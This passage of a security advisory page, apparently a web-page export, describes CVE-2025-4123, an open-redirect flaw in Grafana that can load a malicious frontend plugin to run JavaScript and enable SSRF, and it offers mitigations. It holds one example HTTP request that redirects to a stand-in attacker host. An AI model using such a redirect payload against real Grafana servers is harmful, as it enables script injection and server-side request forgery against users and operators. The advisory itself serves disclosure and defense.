This flaw allows attackers to redirect users to a malicious website hosting a frontend plugin that will execute arbitrary JavaScript. The vulnerability does not require editor permissions, and can function even with anonymous access enabled. If the Grafana Image Renderer plugin is installed, it is possible to exploit the open redirect to achieve a full read Server Side Request Forgery (SSRF).<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3601282915\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>This is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/redirect?to=http:\/\/malicious.example.com\/frontend-plugin HTTP\/1.1\nHost: vulnerable-grafana.example.com<\/code><\/pre>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate this vulnerability, Grafana users are advised to apply the vendor&#8217;s patch as soon as it is available. Until then, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. Also, disabling anonymous access and the Grafana Image Renderer plugin can reduce the impact of the vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A significant cybersecurity vulnerability, CVE-2025-4123, has been identified in Grafana, a popular open-source analytics and monitoring solution.
